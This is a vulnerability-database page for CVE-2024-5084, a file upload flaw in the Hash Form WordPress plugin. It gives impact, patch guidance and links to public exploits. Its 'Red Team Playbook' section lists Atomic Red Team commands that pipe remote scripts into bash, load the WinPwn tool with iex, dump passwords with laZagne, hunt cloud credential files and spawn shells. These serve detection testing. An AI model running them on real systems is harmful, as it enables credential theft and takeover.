CVE-2024-5084
Overview
This vulnerability is an arbitrary file upload flaw resulting from the absence of proper file type validation in the 'file_upload_action' function within the Hash Form – Drag & Drop Form Builder plugin for WordPress. The affected component is the file upload handler that processes user-supplied files without verifying their extensions or content type. This lack of validation occurs in all plugin versions up to and including 1.1.0, enabling unauthorized file uploads to the server.
Vulnerability Description
The Hash Form – Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'file_upload_action' function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can exploit this vulnerability to upload arbitrary files to the web server hosting the vulnerable WordPress site. This capability may lead to remote code execution, enabling full compromise of the server environment. Since no authentication or user interaction is required (CVSS vector AV:N/AC:L/PR:N/UI:N), the attack surface is broad, potentially resulting in data breaches, site defacement, or persistent backdoors. The high confidentiality, integrity, and availability impacts (C:H/I:H/A:H) reflect the critical nature of this flaw.
Solution
Users of the Hash Form – Drag & Drop Form Builder plugin should upgrade to versions later than 1.1.0 where the file upload validation issue has been fixed, as documented in the WordPress plugin repository changeset 3090341. Detailed patch instructions and updates are available at https://plugins.trac.wordpress.org/changeset/3090341/. No specific advisory ID is provided, but the vendor’s repository and Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/eef9e2fa-d8f0-42bf-95ac-ee4cafff0b14) serve as authoritative sources for remediation guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Hash Form – Drag & Drop Form Builder plugin for WordPress stems from inadequate file type validation within the 'file_upload_action' function. This oversight allows unauthenticated users to upload arbitrary files to the server hosting the affected WordPress site. The lack of stringent checks on the file types being uploaded creates a significant security gap, enabling attackers to potentially upload malicious scripts or executables disguised as benign files. This flaw is particularly critical given the plugin's widespread usage, as it affects all versions up to and including 1.1.0, thereby exposing a large number of WordPress installations to risk.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a simple web request to the file upload endpoint without needing any authentication credentials. By bypassing the intended security measures, they could upload files such as PHP scripts, which, once executed, could grant the attacker remote control over the server. This scenario could lead to further exploitation, such as data exfiltration, website defacement, or the deployment of additional malware. The ease of exploitation, combined with the lack of authentication requirements, makes this vulnerability particularly appealing to malicious actors.
The real-world impact of this vulnerability can be severe, particularly for businesses that rely on their online presence. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and significant reputational damage. Organizations may face regulatory repercussions, especially if customer data is compromised. The financial implications could be substantial, encompassing costs related to incident response, system remediation, and potential legal liabilities. Furthermore, the presence of such a vulnerability could undermine customer trust, leading to a loss of business and long-term damage to brand reputation.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating plugins and themes is essential to ensure that any known vulnerabilities are patched. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the server. Implementing strict file type validation and ensuring that only necessary file types are allowed for upload can significantly reduce the attack surface. Furthermore, conducting regular security audits and vulnerability assessments can help identify and remediate potential weaknesses before they can be exploited.
In conclusion, the vulnerability within the Hash Form – Drag & Drop Form Builder plugin poses a critical risk to WordPress installations, enabling arbitrary file uploads and potentially leading to remote code execution. The ease of exploitation, combined with the potential for significant real-world impact, necessitates immediate attention from website administrators and security professionals. By adopting proactive detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities, thereby safeguarding their digital assets and maintaining the trust of their users.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Hashthemes | Hash Form | All |
cpe:2.3:a:hashthemes:hash_form:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
WordPress Hash Form Plugin RCE
exploits/multi/http/wp_hash_form_rce
|
Francesco Carlucci, Valentin Lobstein | Unknown | - | View |
GitHub PoCs (7)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Chocapikk/CVE-2024-5084
Hash Form – Drag & Drop Form Builder <= 1.1.0 - Unauthenticated Arbitrary File Upload to Remote Code Execution
|
Chocapikk | 9 | 6 | 2024-05-27 | View |
|
RedTeamBlueTeam/CVE-2024-5084-Red-Team
|
RedTeamBlueTeam | 1 | 0 | 2026-02-05 | View |
|
NanoWraith/CVE-2024-5084
|
NanoWraith | 0 | 1 | 2024-06-06 | View |
|
KTN1990/CVE-2024-5084
WordPress Hash Form – Drag & Drop Form Builder <= 1.1.0 - Unauthenticated Arbitrary File Upload to Remote Code Execution
|
KTN1990 | 0 | 0 | 2024-05-25 | View |
|
WOOOOONG/CVE-2024-5084
PoC Exploit for CVE-2024-5084
|
WOOOOONG | 0 | 0 | 2024-07-03 | View |
|
Raeezrbr/CVE-2024-5084
|
Raeezrbr | 0 | 0 | 2024-11-30 | View |
|
ModeBrutal/CVE-2024-5084-Auto-Exploit
|
ModeBrutal | 0 | 0 | 2025-02-16 | View |
Threat Feed
2 eventsProof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-5084 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/eef9e2fa-d8f0-42bf-95ac-ee4cafff0b14?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/hash-form/trunk/admin/classes/HashFormBuilder.php#L764 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3090341/ |